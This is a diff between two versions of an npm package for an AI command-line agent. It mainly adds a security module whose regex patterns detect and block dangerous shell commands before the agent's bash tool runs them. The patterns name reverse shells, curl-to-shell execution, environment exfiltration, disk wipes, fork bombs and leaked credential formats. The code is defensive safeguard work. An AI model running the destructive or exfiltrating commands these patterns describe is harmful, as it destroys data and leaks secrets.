@bgicli/bgicli 2.2.14 → 2.2.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/bgi.js +828 -158
- package/package.json +1 -1
package/dist/bgi.js
CHANGED
|
@@ -2092,7 +2092,7 @@ var require_lib2 = __commonJS({
|
|
|
2092
2092
|
let accum = [];
|
|
2093
2093
|
let accumBytes = 0;
|
|
2094
2094
|
let abort = false;
|
|
2095
|
-
return new Body.Promise(function(
|
|
2095
|
+
return new Body.Promise(function(resolve4, reject) {
|
|
2096
2096
|
let resTimeout;
|
|
2097
2097
|
if (_this4.timeout) {
|
|
2098
2098
|
resTimeout = setTimeout(function() {
|
|
@@ -2126,7 +2126,7 @@ var require_lib2 = __commonJS({
|
|
|
2126
2126
|
}
|
|
2127
2127
|
clearTimeout(resTimeout);
|
|
2128
2128
|
try {
|
|
2129
|
-
|
|
2129
|
+
resolve4(Buffer.concat(accum, accumBytes));
|
|
2130
2130
|
} catch (err) {
|
|
2131
2131
|
reject(new FetchError(`Could not create Buffer from response body for ${_this4.url}: ${err.message}`, "system", err));
|
|
2132
2132
|
}
|
|
@@ -2801,7 +2801,7 @@ var require_lib2 = __commonJS({
|
|
|
2801
2801
|
throw new Error("native promise missing, set fetch.Promise to your favorite alternative");
|
|
2802
2802
|
}
|
|
2803
2803
|
Body.Promise = fetch2.Promise;
|
|
2804
|
-
return new fetch2.Promise(function(
|
|
2804
|
+
return new fetch2.Promise(function(resolve4, reject) {
|
|
2805
2805
|
const request = new Request3(url, opts);
|
|
2806
2806
|
const options = getNodeRequestOptions(request);
|
|
2807
2807
|
const send = (options.protocol === "https:" ? https : http).request;
|
|
@@ -2934,7 +2934,7 @@ var require_lib2 = __commonJS({
|
|
|
2934
2934
|
requestOpts.body = void 0;
|
|
2935
2935
|
requestOpts.headers.delete("content-length");
|
|
2936
2936
|
}
|
|
2937
|
-
|
|
2937
|
+
resolve4(fetch2(new Request3(locationURL, requestOpts)));
|
|
2938
2938
|
finalize();
|
|
2939
2939
|
return;
|
|
2940
2940
|
}
|
|
@@ -2955,7 +2955,7 @@ var require_lib2 = __commonJS({
|
|
|
2955
2955
|
const codings = headers.get("Content-Encoding");
|
|
2956
2956
|
if (!request.compress || request.method === "HEAD" || codings === null || res.statusCode === 204 || res.statusCode === 304) {
|
|
2957
2957
|
response = new Response3(body, response_options);
|
|
2958
|
-
|
|
2958
|
+
resolve4(response);
|
|
2959
2959
|
return;
|
|
2960
2960
|
}
|
|
2961
2961
|
const zlibOptions = {
|
|
@@ -2965,7 +2965,7 @@ var require_lib2 = __commonJS({
|
|
|
2965
2965
|
if (codings == "gzip" || codings == "x-gzip") {
|
|
2966
2966
|
body = body.pipe(zlib.createGunzip(zlibOptions));
|
|
2967
2967
|
response = new Response3(body, response_options);
|
|
2968
|
-
|
|
2968
|
+
resolve4(response);
|
|
2969
2969
|
return;
|
|
2970
2970
|
}
|
|
2971
2971
|
if (codings == "deflate" || codings == "x-deflate") {
|
|
@@ -2977,12 +2977,12 @@ var require_lib2 = __commonJS({
|
|
|
2977
2977
|
body = body.pipe(zlib.createInflateRaw());
|
|
2978
2978
|
}
|
|
2979
2979
|
response = new Response3(body, response_options);
|
|
2980
|
-
|
|
2980
|
+
resolve4(response);
|
|
2981
2981
|
});
|
|
2982
2982
|
raw.on("end", function() {
|
|
2983
2983
|
if (!response) {
|
|
2984
2984
|
response = new Response3(body, response_options);
|
|
2985
|
-
|
|
2985
|
+
resolve4(response);
|
|
2986
2986
|
}
|
|
2987
2987
|
});
|
|
2988
2988
|
return;
|
|
@@ -2990,11 +2990,11 @@ var require_lib2 = __commonJS({
|
|
|
2990
2990
|
if (codings == "br" && typeof zlib.createBrotliDecompress === "function") {
|
|
2991
2991
|
body = body.pipe(zlib.createBrotliDecompress());
|
|
2992
2992
|
response = new Response3(body, response_options);
|
|
2993
|
-
|
|
2993
|
+
resolve4(response);
|
|
2994
2994
|
return;
|
|
2995
2995
|
}
|
|
2996
2996
|
response = new Response3(body, response_options);
|
|
2997
|
-
|
|
2997
|
+
resolve4(response);
|
|
2998
2998
|
});
|
|
2999
2999
|
writeToStream(req, request);
|
|
3000
3000
|
});
|
|
@@ -6932,9 +6932,9 @@ var chalkStderr = createChalk({ level: stderrColor ? stderrColor.level : 0 });
|
|
|
6932
6932
|
var source_default = chalk;
|
|
6933
6933
|
|
|
6934
6934
|
// src/index.ts
|
|
6935
|
-
var
|
|
6936
|
-
var
|
|
6937
|
-
var
|
|
6935
|
+
var import_fs6 = require("fs");
|
|
6936
|
+
var import_path6 = require("path");
|
|
6937
|
+
var import_os4 = require("os");
|
|
6938
6938
|
var import_https2 = require("https");
|
|
6939
6939
|
var import_child_process2 = require("child_process");
|
|
6940
6940
|
|
|
@@ -8372,8 +8372,8 @@ function _addRequestID(value, response) {
|
|
|
8372
8372
|
}
|
|
8373
8373
|
var APIPromise = class _APIPromise extends Promise {
|
|
8374
8374
|
constructor(responsePromise, parseResponse2 = defaultParseResponse) {
|
|
8375
|
-
super((
|
|
8376
|
-
|
|
8375
|
+
super((resolve4) => {
|
|
8376
|
+
resolve4(null);
|
|
8377
8377
|
});
|
|
8378
8378
|
this.responsePromise = responsePromise;
|
|
8379
8379
|
this.parseResponse = parseResponse2;
|
|
@@ -8948,7 +8948,7 @@ var startsWithSchemeRegexp = /^[a-z][a-z0-9+.-]*:/i;
|
|
|
8948
8948
|
var isAbsoluteURL = (url) => {
|
|
8949
8949
|
return startsWithSchemeRegexp.test(url);
|
|
8950
8950
|
};
|
|
8951
|
-
var sleep = (ms) => new Promise((
|
|
8951
|
+
var sleep = (ms) => new Promise((resolve4) => setTimeout(resolve4, ms));
|
|
8952
8952
|
var validatePositiveInteger = (name, n2) => {
|
|
8953
8953
|
if (typeof n2 !== "number" || !Number.isInteger(n2)) {
|
|
8954
8954
|
throw new OpenAIError(`${name} must be an integer`);
|
|
@@ -9381,12 +9381,12 @@ var EventStream = class {
|
|
|
9381
9381
|
_EventStream_errored.set(this, false);
|
|
9382
9382
|
_EventStream_aborted.set(this, false);
|
|
9383
9383
|
_EventStream_catchingPromiseCreated.set(this, false);
|
|
9384
|
-
__classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((
|
|
9385
|
-
__classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise,
|
|
9384
|
+
__classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve4, reject) => {
|
|
9385
|
+
__classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve4, "f");
|
|
9386
9386
|
__classPrivateFieldSet7(this, _EventStream_rejectConnectedPromise, reject, "f");
|
|
9387
9387
|
}), "f");
|
|
9388
|
-
__classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((
|
|
9389
|
-
__classPrivateFieldSet7(this, _EventStream_resolveEndPromise,
|
|
9388
|
+
__classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve4, reject) => {
|
|
9389
|
+
__classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve4, "f");
|
|
9390
9390
|
__classPrivateFieldSet7(this, _EventStream_rejectEndPromise, reject, "f");
|
|
9391
9391
|
}), "f");
|
|
9392
9392
|
__classPrivateFieldGet8(this, _EventStream_connectedPromise, "f").catch(() => {
|
|
@@ -9470,11 +9470,11 @@ var EventStream = class {
|
|
|
9470
9470
|
* const message = await stream.emitted('message') // rejects if the stream errors
|
|
9471
9471
|
*/
|
|
9472
9472
|
emitted(event) {
|
|
9473
|
-
return new Promise((
|
|
9473
|
+
return new Promise((resolve4, reject) => {
|
|
9474
9474
|
__classPrivateFieldSet7(this, _EventStream_catchingPromiseCreated, true, "f");
|
|
9475
9475
|
if (event !== "error")
|
|
9476
9476
|
this.once("error", reject);
|
|
9477
|
-
this.once(event,
|
|
9477
|
+
this.once(event, resolve4);
|
|
9478
9478
|
});
|
|
9479
9479
|
}
|
|
9480
9480
|
async done() {
|
|
@@ -9627,7 +9627,7 @@ var AssistantStream = class _AssistantStream extends EventStream {
|
|
|
9627
9627
|
if (done) {
|
|
9628
9628
|
return { value: void 0, done: true };
|
|
9629
9629
|
}
|
|
9630
|
-
return new Promise((
|
|
9630
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
|
|
9631
9631
|
}
|
|
9632
9632
|
const chunk = pushQueue.shift();
|
|
9633
9633
|
return { value: chunk, done: false };
|
|
@@ -11245,7 +11245,7 @@ var ChatCompletionStream = class _ChatCompletionStream extends AbstractChatCompl
|
|
|
11245
11245
|
if (done) {
|
|
11246
11246
|
return { value: void 0, done: true };
|
|
11247
11247
|
}
|
|
11248
|
-
return new Promise((
|
|
11248
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
|
|
11249
11249
|
}
|
|
11250
11250
|
const chunk = pushQueue.shift();
|
|
11251
11251
|
return { value: chunk, done: false };
|
|
@@ -12896,7 +12896,7 @@ var ResponseStream = class _ResponseStream extends EventStream {
|
|
|
12896
12896
|
if (done) {
|
|
12897
12897
|
return { value: void 0, done: true };
|
|
12898
12898
|
}
|
|
12899
|
-
return new Promise((
|
|
12899
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
|
|
12900
12900
|
}
|
|
12901
12901
|
const event = pushQueue.shift();
|
|
12902
12902
|
return { value: event, done: false };
|
|
@@ -13605,6 +13605,7 @@ var BGI_DIR = (0, import_path2.join)((0, import_os.homedir)(), ".bgicli");
|
|
|
13605
13605
|
var WORKFLOWS_DIR = (0, import_path2.join)(BGI_DIR, "workflows");
|
|
13606
13606
|
var TOOLS_DIR = (0, import_path2.join)(BGI_DIR, "tools");
|
|
13607
13607
|
var SKILLS_DIR = (0, import_path2.join)(BGI_DIR, "skills");
|
|
13608
|
+
var DATABASES_FILE = (0, import_path2.join)(BGI_DIR, "databases.json");
|
|
13608
13609
|
var CONFIG_FILE = (0, import_path2.join)(BGI_DIR, "config.json");
|
|
13609
13610
|
function ensureDirs() {
|
|
13610
13611
|
for (const dir of [BGI_DIR, WORKFLOWS_DIR, TOOLS_DIR, SKILLS_DIR]) {
|
|
@@ -13636,6 +13637,205 @@ var import_path3 = require("path");
|
|
|
13636
13637
|
var import_os2 = require("os");
|
|
13637
13638
|
var import_https = require("https");
|
|
13638
13639
|
var import_http = require("http");
|
|
13640
|
+
|
|
13641
|
+
// src/security.ts
|
|
13642
|
+
var PATTERNS = [
|
|
13643
|
+
// ── CRITICAL: always block ─────────────────────────────────────────────────
|
|
13644
|
+
{
|
|
13645
|
+
id: "rm-root",
|
|
13646
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\s*$/,
|
|
13647
|
+
level: "CRITICAL",
|
|
13648
|
+
reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)"
|
|
13649
|
+
},
|
|
13650
|
+
{
|
|
13651
|
+
id: "rm-root-star",
|
|
13652
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\*/,
|
|
13653
|
+
level: "CRITICAL",
|
|
13654
|
+
reason: "\u5220\u9664\u6839\u76EE\u5F55\u6240\u6709\u5185\u5BB9 (rm -rf /*)"
|
|
13655
|
+
},
|
|
13656
|
+
{
|
|
13657
|
+
id: "rm-home",
|
|
13658
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+(~|\$HOME)\s*$/,
|
|
13659
|
+
level: "CRITICAL",
|
|
13660
|
+
reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~/)"
|
|
13661
|
+
},
|
|
13662
|
+
{
|
|
13663
|
+
id: "fork-bomb",
|
|
13664
|
+
pattern: /:\(\)\s*\{[^}]*:\s*\|\s*:&[^}]*\}/,
|
|
13665
|
+
level: "CRITICAL",
|
|
13666
|
+
reason: "Fork bomb \u2014 \u8017\u5C3D\u7CFB\u7EDF\u8FDB\u7A0B"
|
|
13667
|
+
},
|
|
13668
|
+
{
|
|
13669
|
+
id: "dd-disk",
|
|
13670
|
+
pattern: /\bdd\s+.*if=\/dev\/(zero|random|urandom)\s+.*of=\/dev\/[a-z]/,
|
|
13671
|
+
level: "CRITICAL",
|
|
13672
|
+
reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd if=/dev/zero of=/dev/sd*)"
|
|
13673
|
+
},
|
|
13674
|
+
{
|
|
13675
|
+
id: "mkfs",
|
|
13676
|
+
pattern: /\bmkfs(\.[a-z0-9]+)?\s+\/dev\//,
|
|
13677
|
+
level: "CRITICAL",
|
|
13678
|
+
reason: "\u683C\u5F0F\u5316\u78C1\u76D8\u5206\u533A (mkfs)"
|
|
13679
|
+
},
|
|
13680
|
+
{
|
|
13681
|
+
id: "write-disk-raw",
|
|
13682
|
+
pattern: />\s*\/dev\/sd[a-z][0-9]?(?!\w)/,
|
|
13683
|
+
level: "CRITICAL",
|
|
13684
|
+
reason: "\u76F4\u63A5\u5199\u5165\u88F8\u78C1\u76D8\u8BBE\u5907"
|
|
13685
|
+
},
|
|
13686
|
+
{
|
|
13687
|
+
id: "reverse-shell-bash",
|
|
13688
|
+
pattern: /bash\s+-i\s*>&?\s*\/dev\/tcp\//,
|
|
13689
|
+
level: "CRITICAL",
|
|
13690
|
+
reason: "bash \u53CD\u5F39 shell (bash -i >& /dev/tcp/)"
|
|
13691
|
+
},
|
|
13692
|
+
{
|
|
13693
|
+
id: "reverse-shell-nc",
|
|
13694
|
+
pattern: /\bnc\s+.*-e\s+\/bin\/(ba)?sh/,
|
|
13695
|
+
level: "CRITICAL",
|
|
13696
|
+
reason: "netcat \u53CD\u5F39 shell (nc -e /bin/sh)"
|
|
13697
|
+
},
|
|
13698
|
+
// ── HIGH: warn user ────────────────────────────────────────────────────────
|
|
13699
|
+
{
|
|
13700
|
+
id: "curl-pipe-exec",
|
|
13701
|
+
pattern: /curl\s+[^|]*\|\s*(ba)?sh/,
|
|
13702
|
+
level: "HIGH",
|
|
13703
|
+
reason: "curl \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
|
|
13704
|
+
},
|
|
13705
|
+
{
|
|
13706
|
+
id: "wget-pipe-exec",
|
|
13707
|
+
pattern: /wget\s+[^|]*\|\s*(ba)?sh/,
|
|
13708
|
+
level: "HIGH",
|
|
13709
|
+
reason: "wget \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
|
|
13710
|
+
},
|
|
13711
|
+
{
|
|
13712
|
+
id: "eval-base64",
|
|
13713
|
+
pattern: /\beval\s*[\(\$`].*base64/i,
|
|
13714
|
+
level: "HIGH",
|
|
13715
|
+
reason: "eval(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
|
|
13716
|
+
},
|
|
13717
|
+
{
|
|
13718
|
+
id: "python-exec-base64",
|
|
13719
|
+
pattern: /python[23]?\s+-c\s+["'].*exec\s*\(.*base64/i,
|
|
13720
|
+
level: "HIGH",
|
|
13721
|
+
reason: "Python exec(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
|
|
13722
|
+
},
|
|
13723
|
+
{
|
|
13724
|
+
id: "cred-aws",
|
|
13725
|
+
pattern: /\bAKID[A-Z0-9]{16,}\b|\bAKIA[0-9A-Z]{16}\b/,
|
|
13726
|
+
level: "HIGH",
|
|
13727
|
+
reason: "AWS/\u817E\u8BAF\u4E91 Access Key \u7591\u4F3C\u6CC4\u9732"
|
|
13728
|
+
},
|
|
13729
|
+
{
|
|
13730
|
+
id: "cred-private-key",
|
|
13731
|
+
pattern: /-----BEGIN\s+(RSA|EC|OPENSSH|DSA|ENCRYPTED)\s+PRIVATE KEY-----/,
|
|
13732
|
+
level: "HIGH",
|
|
13733
|
+
reason: "\u79C1\u94A5\u5185\u5BB9\u6CC4\u9732"
|
|
13734
|
+
},
|
|
13735
|
+
{
|
|
13736
|
+
id: "cred-gh-token",
|
|
13737
|
+
pattern: /\bghp_[A-Za-z0-9]{36}\b|\bgho_[A-Za-z0-9]{36}\b/,
|
|
13738
|
+
level: "HIGH",
|
|
13739
|
+
reason: "GitHub Personal Access Token \u6CC4\u9732"
|
|
13740
|
+
},
|
|
13741
|
+
{
|
|
13742
|
+
id: "env-exfil",
|
|
13743
|
+
pattern: /\benv\b[^|]*\|\s*(curl|wget|nc)\b/,
|
|
13744
|
+
level: "HIGH",
|
|
13745
|
+
reason: "\u73AF\u5883\u53D8\u91CF\u901A\u8FC7\u7F51\u7EDC\u6CC4\u9732"
|
|
13746
|
+
},
|
|
13747
|
+
{
|
|
13748
|
+
id: "reverse-shell-python",
|
|
13749
|
+
pattern: /python[23]?\s+-c\s+["'].*socket.*connect.*subprocess/s,
|
|
13750
|
+
level: "HIGH",
|
|
13751
|
+
reason: "Python \u53CD\u5F39 shell"
|
|
13752
|
+
},
|
|
13753
|
+
// ── MEDIUM: warn, allow ────────────────────────────────────────────────────
|
|
13754
|
+
{
|
|
13755
|
+
id: "chmod-777-r",
|
|
13756
|
+
pattern: /\bchmod\s+(-R\s+)?777\s+\//,
|
|
13757
|
+
level: "MEDIUM",
|
|
13758
|
+
reason: "\u9012\u5F52\u8BBE\u7F6E 777 \u6743\u9650\uFF08\u53EF\u80FD\u66B4\u9732\u7CFB\u7EDF\u6587\u4EF6\uFF09"
|
|
13759
|
+
},
|
|
13760
|
+
{
|
|
13761
|
+
id: "setuid-bit",
|
|
13762
|
+
pattern: /\bchmod\s+[uo]\+s\b/,
|
|
13763
|
+
level: "MEDIUM",
|
|
13764
|
+
reason: "\u8BBE\u7F6E setuid/setgid \u4F4D"
|
|
13765
|
+
},
|
|
13766
|
+
{
|
|
13767
|
+
id: "cron-modify",
|
|
13768
|
+
pattern: /\bcrontab\s+-[il]/,
|
|
13769
|
+
level: "MEDIUM",
|
|
13770
|
+
reason: "\u4FEE\u6539 cron \u5B9A\u65F6\u4EFB\u52A1"
|
|
13771
|
+
},
|
|
13772
|
+
{
|
|
13773
|
+
id: "history-clear",
|
|
13774
|
+
pattern: /history\s+-[cw]|>\s*~\/\.bash_history/,
|
|
13775
|
+
level: "MEDIUM",
|
|
13776
|
+
reason: "\u6E05\u9664 shell \u5386\u53F2\u8BB0\u5F55"
|
|
13777
|
+
},
|
|
13778
|
+
{
|
|
13779
|
+
id: "iptables-flush",
|
|
13780
|
+
pattern: /\biptables\s+-F\b/,
|
|
13781
|
+
level: "MEDIUM",
|
|
13782
|
+
reason: "\u6E05\u7A7A\u9632\u706B\u5899\u89C4\u5219 (iptables -F)"
|
|
13783
|
+
},
|
|
13784
|
+
// ── LOW: info only ─────────────────────────────────────────────────────────
|
|
13785
|
+
{
|
|
13786
|
+
id: "curl-insecure",
|
|
13787
|
+
pattern: /\bcurl\s+.*(-k|--insecure)\b/,
|
|
13788
|
+
level: "LOW",
|
|
13789
|
+
reason: "curl \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
|
|
13790
|
+
},
|
|
13791
|
+
{
|
|
13792
|
+
id: "wget-no-cert",
|
|
13793
|
+
pattern: /\bwget\s+.*--no-check-certificate\b/,
|
|
13794
|
+
level: "LOW",
|
|
13795
|
+
reason: "wget \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
|
|
13796
|
+
},
|
|
13797
|
+
{
|
|
13798
|
+
id: "sudo-usage",
|
|
13799
|
+
pattern: /\bsudo\b/,
|
|
13800
|
+
level: "LOW",
|
|
13801
|
+
reason: "\u4F7F\u7528 sudo \u63D0\u6743"
|
|
13802
|
+
},
|
|
13803
|
+
{
|
|
13804
|
+
id: "nohup-background",
|
|
13805
|
+
pattern: /\bnohup\b.*&\s*$|\bdisown\b/,
|
|
13806
|
+
level: "LOW",
|
|
13807
|
+
reason: "\u540E\u53F0\u9A7B\u7559\u8FDB\u7A0B"
|
|
13808
|
+
}
|
|
13809
|
+
];
|
|
13810
|
+
function scanCommand(command) {
|
|
13811
|
+
const matches = [];
|
|
13812
|
+
for (const pat of PATTERNS) {
|
|
13813
|
+
const m2 = command.match(pat.pattern);
|
|
13814
|
+
if (m2) {
|
|
13815
|
+
matches.push({ pattern: pat, matchedText: m2[0] });
|
|
13816
|
+
}
|
|
13817
|
+
}
|
|
13818
|
+
const safe = matches.every((m2) => m2.pattern.level !== "CRITICAL");
|
|
13819
|
+
return { safe, matches };
|
|
13820
|
+
}
|
|
13821
|
+
function scanSkillMd(markdownContent) {
|
|
13822
|
+
const bashBlocks = [...markdownContent.matchAll(/```(?:bash|sh)\n([\s\S]*?)```/g)].map((m2) => m2[1]);
|
|
13823
|
+
const allMatches = [];
|
|
13824
|
+
for (const block of bashBlocks) {
|
|
13825
|
+
for (const line of block.split("\n")) {
|
|
13826
|
+
const r2 = scanCommand(line.trim());
|
|
13827
|
+
allMatches.push(...r2.matches);
|
|
13828
|
+
}
|
|
13829
|
+
}
|
|
13830
|
+
return {
|
|
13831
|
+
criticalCount: allMatches.filter((m2) => m2.pattern.level === "CRITICAL").length,
|
|
13832
|
+
highCount: allMatches.filter((m2) => m2.pattern.level === "HIGH").length,
|
|
13833
|
+
mediumCount: allMatches.filter((m2) => m2.pattern.level === "MEDIUM").length,
|
|
13834
|
+
matches: allMatches
|
|
13835
|
+
};
|
|
13836
|
+
}
|
|
13837
|
+
|
|
13838
|
+
// src/tools.ts
|
|
13639
13839
|
var TOOL_DEFINITIONS = [
|
|
13640
13840
|
{
|
|
13641
13841
|
type: "function",
|
|
@@ -13806,33 +14006,24 @@ function decodeBuffer(buf) {
|
|
|
13806
14006
|
}
|
|
13807
14007
|
}
|
|
13808
14008
|
}
|
|
13809
|
-
var DANGEROUS_PATTERNS = [
|
|
13810
|
-
{ pattern: /rm\s+-rf\s+\/(?!\S)/, reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)" },
|
|
13811
|
-
{ pattern: /rm\s+-rf\s+~(?!\S)/, reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~)" },
|
|
13812
|
-
{ pattern: /rm\s+-rf\s+\$HOME(?!\S)/, reason: "\u5220\u9664 $HOME \u76EE\u5F55" },
|
|
13813
|
-
{ pattern: /dd\s+if=\/dev\/(?:zero|random|urandom)\s+of=\/dev\//, reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd)" },
|
|
13814
|
-
{ pattern: /mkfs\b/, reason: "\u683C\u5F0F\u5316\u6587\u4EF6\u7CFB\u7EDF (mkfs)" },
|
|
13815
|
-
{ pattern: />\s*\/dev\/sd[a-z]/, reason: "\u76F4\u63A5\u5199\u5165\u78C1\u76D8\u8BBE\u5907" },
|
|
13816
|
-
{ pattern: /chmod\s+-R\s+777\s+\/(?!\S)/, reason: "\u9012\u5F52\u4FEE\u6539\u6839\u76EE\u5F55\u6743\u9650" },
|
|
13817
|
-
{ pattern: /:\(\)\s*\{.*\}.*:/, reason: "Fork bomb \u68C0\u6D4B" }
|
|
13818
|
-
];
|
|
13819
|
-
function checkDangerousCommand(command) {
|
|
13820
|
-
for (const { pattern, reason } of DANGEROUS_PATTERNS) {
|
|
13821
|
-
if (pattern.test(command)) return reason;
|
|
13822
|
-
}
|
|
13823
|
-
return null;
|
|
13824
|
-
}
|
|
13825
14009
|
async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
|
|
13826
|
-
const
|
|
13827
|
-
|
|
14010
|
+
const scan = scanCommand(command);
|
|
14011
|
+
const criticals = scan.matches.filter((m2) => m2.pattern.level === "CRITICAL");
|
|
14012
|
+
if (criticals.length > 0) {
|
|
14013
|
+
const reasons = criticals.map((m2) => m2.pattern.reason).join("\u3001");
|
|
13828
14014
|
return {
|
|
13829
14015
|
output: "",
|
|
13830
|
-
error: `\
|
|
13831
|
-
\u547D\u4EE4\u5DF2\u88AB\u963B\u6B62
|
|
13832
|
-
\u88AB\u62E6\u622A\u7684\u547D\u4EE4: ${command}`
|
|
14016
|
+
error: `\u5B89\u5168\u62E6\u622A [CRITICAL]: ${reasons}
|
|
14017
|
+
\u547D\u4EE4\u5DF2\u88AB\u963B\u6B62: ${command}`
|
|
13833
14018
|
};
|
|
13834
14019
|
}
|
|
13835
|
-
|
|
14020
|
+
const highs = scan.matches.filter((m2) => m2.pattern.level === "HIGH");
|
|
14021
|
+
if (highs.length > 0) {
|
|
14022
|
+
const reasons = highs.map((m2) => m2.pattern.reason).join("\u3001");
|
|
14023
|
+
if (onStream) onStream(`\u26A0 \u5B89\u5168\u8B66\u544A [HIGH]: ${reasons}
|
|
14024
|
+
`);
|
|
14025
|
+
}
|
|
14026
|
+
return new Promise((resolve4) => {
|
|
13836
14027
|
const isWin = process.platform === "win32";
|
|
13837
14028
|
const child = (0, import_child_process.spawn)(isWin ? "cmd" : "/bin/sh", isWin ? ["/c", command] : ["-c", command], {
|
|
13838
14029
|
cwd: workdir ?? process.cwd(),
|
|
@@ -13864,16 +14055,16 @@ async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
|
|
|
13864
14055
|
clearTimeout(timer);
|
|
13865
14056
|
const out = (decodeBuffer(Buffer.concat(outChunks)) + "\n" + decodeBuffer(Buffer.concat(errChunks))).trim();
|
|
13866
14057
|
if (timedOut) {
|
|
13867
|
-
|
|
14058
|
+
resolve4({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
|
|
13868
14059
|
} else if (code !== 0) {
|
|
13869
|
-
|
|
14060
|
+
resolve4({ output: out, error: `Command failed (exit ${code})` });
|
|
13870
14061
|
} else {
|
|
13871
|
-
|
|
14062
|
+
resolve4({ output: out });
|
|
13872
14063
|
}
|
|
13873
14064
|
});
|
|
13874
14065
|
child.on("error", (err) => {
|
|
13875
14066
|
clearTimeout(timer);
|
|
13876
|
-
|
|
14067
|
+
resolve4({ output: "", error: err.message });
|
|
13877
14068
|
});
|
|
13878
14069
|
});
|
|
13879
14070
|
}
|
|
@@ -13911,11 +14102,11 @@ async function toolSearchFiles(pattern, rootPath) {
|
|
|
13911
14102
|
return toolBash(command, resolved, 1e4);
|
|
13912
14103
|
}
|
|
13913
14104
|
function httpFetch(url, timeoutMs = 15e3) {
|
|
13914
|
-
return new Promise((
|
|
14105
|
+
return new Promise((resolve4, reject) => {
|
|
13915
14106
|
const getter = url.startsWith("https") ? import_https.get : import_http.get;
|
|
13916
14107
|
const req = getter(url, { headers: { "User-Agent": "BGI-CLI/1.0" } }, (res) => {
|
|
13917
14108
|
if ((res.statusCode === 301 || res.statusCode === 302) && res.headers.location) {
|
|
13918
|
-
httpFetch(res.headers.location, timeoutMs).then(
|
|
14109
|
+
httpFetch(res.headers.location, timeoutMs).then(resolve4).catch(reject);
|
|
13919
14110
|
return;
|
|
13920
14111
|
}
|
|
13921
14112
|
if (res.statusCode && res.statusCode >= 400) {
|
|
@@ -13924,7 +14115,7 @@ function httpFetch(url, timeoutMs = 15e3) {
|
|
|
13924
14115
|
}
|
|
13925
14116
|
const chunks = [];
|
|
13926
14117
|
res.on("data", (c2) => chunks.push(c2));
|
|
13927
|
-
res.on("end", () =>
|
|
14118
|
+
res.on("end", () => resolve4(Buffer.concat(chunks).toString("utf8")));
|
|
13928
14119
|
res.on("error", reject);
|
|
13929
14120
|
});
|
|
13930
14121
|
req.setTimeout(timeoutMs, () => {
|
|
@@ -14027,7 +14218,7 @@ ${shortSummary}`);
|
|
|
14027
14218
|
}
|
|
14028
14219
|
|
|
14029
14220
|
// src/chat.ts
|
|
14030
|
-
async function chat(messages, config,
|
|
14221
|
+
async function chat(messages, config, systemPrompt2) {
|
|
14031
14222
|
const prov = PROVIDERS[config.provider];
|
|
14032
14223
|
if (!prov) throw new Error(`Unknown provider: ${config.provider}`);
|
|
14033
14224
|
if (config.provider === "custom") {
|
|
@@ -14041,7 +14232,7 @@ async function chat(messages, config, systemPrompt) {
|
|
|
14041
14232
|
if (requiresKey && !apiKey) throw new Error(`\u672A\u914D\u7F6E API Key (${config.provider})\u3002\u8FD0\u884C: /connect`);
|
|
14042
14233
|
const client = new openai_default({ apiKey: apiKey || "none", baseURL });
|
|
14043
14234
|
const fullMessages = [
|
|
14044
|
-
{ role: "system", content:
|
|
14235
|
+
{ role: "system", content: systemPrompt2 },
|
|
14045
14236
|
...messages
|
|
14046
14237
|
];
|
|
14047
14238
|
return await streamLoop(client, fullMessages, config.model);
|
|
@@ -14070,15 +14261,32 @@ async function streamLoop(client, messages, model) {
|
|
|
14070
14261
|
const label = source_default.dim(`[\u5DE5\u5177: ${tc.name}(${summarizeArgs(args)})]`);
|
|
14071
14262
|
const t0 = Date.now();
|
|
14072
14263
|
process.stdout.write(`
|
|
14073
|
-
${label}
|
|
14074
|
-
`);
|
|
14264
|
+
${label} `);
|
|
14075
14265
|
let streamedLines = 0;
|
|
14076
14266
|
let lastLineWasEmpty = false;
|
|
14267
|
+
let spinnerCleared = false;
|
|
14077
14268
|
const MAX_STREAM_LINES = 200;
|
|
14078
|
-
let spin = null;
|
|
14079
14269
|
let frame = 0;
|
|
14270
|
+
const spin = setInterval(() => {
|
|
14271
|
+
if (spinnerCleared) return;
|
|
14272
|
+
const secs = ((Date.now() - t0) / 1e3).toFixed(1);
|
|
14273
|
+
process.stdout.write(
|
|
14274
|
+
`\r${label} ${source_default.cyan(SPIN_FRAMES[frame++ % SPIN_FRAMES.length])} ${source_default.dim(secs + "s")}`
|
|
14275
|
+
);
|
|
14276
|
+
}, 80);
|
|
14277
|
+
